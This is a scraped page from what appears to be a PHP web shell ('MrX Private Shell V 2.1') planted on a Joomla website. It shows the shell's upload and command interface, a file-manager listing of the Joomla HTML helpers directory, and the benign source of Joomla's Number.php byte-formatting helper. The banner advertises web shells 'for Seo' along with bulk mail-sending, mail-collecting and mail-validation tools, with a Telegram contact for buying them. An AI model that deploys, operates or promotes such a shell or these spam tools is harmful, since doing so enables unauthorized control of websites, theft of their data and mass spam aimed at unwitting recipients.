__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\HTML\Helpers;

use Joomla\CMS\Language\Text;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTML helper class for rendering numbers.
 *
 * @since  1.6
 */
abstract class Number
{
    /**
     * Converts bytes to more distinguishable formats such as:
     * kilobytes, megabytes, etc.
     *
     * By default, the proper format will automatically be chosen.
     * However, one of the allowed unit types (viz. 'b', 'kB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB') may also be used instead.
     * IEC standard unit types ('KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB') can be used as well.
     *
     * @param   string   $bytes      The number of bytes. Can be either numeric or suffixed format: 32M, 60K, 12G or 812b
     * @param   string   $unit       The type of unit to return, few special values are:
     *                               Blank string '' for no unit,
     *                               'auto' to choose automatically (default)
     *                               'binary' to choose automatically but use binary unit prefix
     * @param   integer  $precision  The number of digits to be used after the decimal place.
     * @param   bool     $iec        Whether to be aware of IEC standards. IEC prefixes are always acceptable in input.
     *                               When IEC is ON:  KiB = 1024 B, KB = 1000 B
     *                               When IEC is OFF: KiB = 1024 B, KB = 1024 B
     *
     * @return  string   The number of bytes in the proper units.
     *
     * @since   1.6
     * @link    https://en.wikipedia.org/wiki/Binary_prefix
     */
    public static function bytes($bytes, $unit = 'auto', $precision = 2, $iec = false)
    {
        /*
         * Allowed 123.45, 123.45 M, 123.45 Mi, 123.45 MB, 123.45 MiB, 1.2345E+12MB, 1.2345E+12 MB , 1.2345E+12 MiB etc.
         * Meaning any number in decimal digits or in sci. notation, optional space, optional 1-3 letter unit suffix
         */
        if (is_numeric($bytes)) {
            $oBytes = $bytes;
        } else {
            preg_match('/(.*?)\s?((?:[KMGTPEZY]i?)?B?)$/i', trim($bytes), $matches);
            [, $oBytes, $oUnit] = $matches;

            if ($oUnit && is_numeric($oBytes)) {
                $oBase  = $iec && !str_contains($oUnit, 'i') ? 1000 : 1024;
                $factor = pow($oBase, stripos('BKMGTPEZY', $oUnit[0]));
                $oBytes *= $factor;
            }
        }

        if (empty($oBytes) || !is_numeric($oBytes)) {
            return 0;
        }

        $oBytes = round($oBytes);

        // If no unit is requested return early
        if ($unit === '') {
            return (string) $oBytes;
        }

        $stdSuffixes = ['b', 'kB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
        $iecSuffixes = ['b', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB'];

        // User supplied method
        if (\in_array($unit, $iecSuffixes)) {
            $base   = 1024;
            $i      = array_search($unit, $iecSuffixes, true);
            $suffix = $unit;
        } elseif (\in_array($unit, $stdSuffixes)) {
            $base   = $iec ? 1000 : 1024;
            $i      = array_search($unit, $stdSuffixes, true);
            $suffix = $unit;
        } elseif ($unit === 'binary') {
            $base   = 1024;
            $i      = (int) floor(log($oBytes, $base));
            $suffix = $iecSuffixes[$i];
        } else {
            // Default method
            $base   = $iec ? 1000 : 1024;
            $i      = (int) floor(log($oBytes, $base));
            $suffix = $stdSuffixes[$i];
        }

        return number_format(
            round($oBytes / pow($base, $i), (int) $precision),
            (int) $precision,
            Text::_('DECIMALS_SEPARATOR'),
            Text::_('THOUSANDS_SEPARATOR')
        ) . ' ' . $suffix;
    }
}

Filemanager

Name Type Size Permission Actions
Access.php File 10.07 KB 0664
ActionsDropdown.php File 6.69 KB 0664
AdminLanguage.php File 1.69 KB 0664
Behavior.php File 11.32 KB 0664
Bootstrap.php File 32.54 KB 0664
Category.php File 7.66 KB 0664
Content.php File 2.97 KB 0664
ContentLanguage.php File 2.11 KB 0664
Date.php File 2.48 KB 0664
Debug.php File 1.75 KB 0664
DraggableList.php File 2.36 KB 0664
Dropdown.php File 9.84 KB 0664
Email.php File 2.47 KB 0664
Form.php File 2.02 KB 0664
FormBehavior.php File 5.63 KB 0664
Grid.php File 9.65 KB 0664
Icons.php File 2.02 KB 0664
JGrid.php File 19.81 KB 0664
Jquery.php File 2.75 KB 0664
Links.php File 3.21 KB 0664
ListHelper.php File 8.5 KB 0664
Menu.php File 13.81 KB 0664
Number.php File 4.02 KB 0664
SearchTools.php File 4 KB 0664
Select.php File 29.31 KB 0664
Sidebar.php File 3.62 KB 0664
SortableList.php File 1.76 KB 0664
StringHelper.php File 10.87 KB 0664
Tag.php File 7.38 KB 0664
Telephone.php File 2.54 KB 0664
UiTab.php File 3.13 KB 0664
User.php File 2.21 KB 0664
WorkflowStage.php File 2.4 KB 0664
Filemanager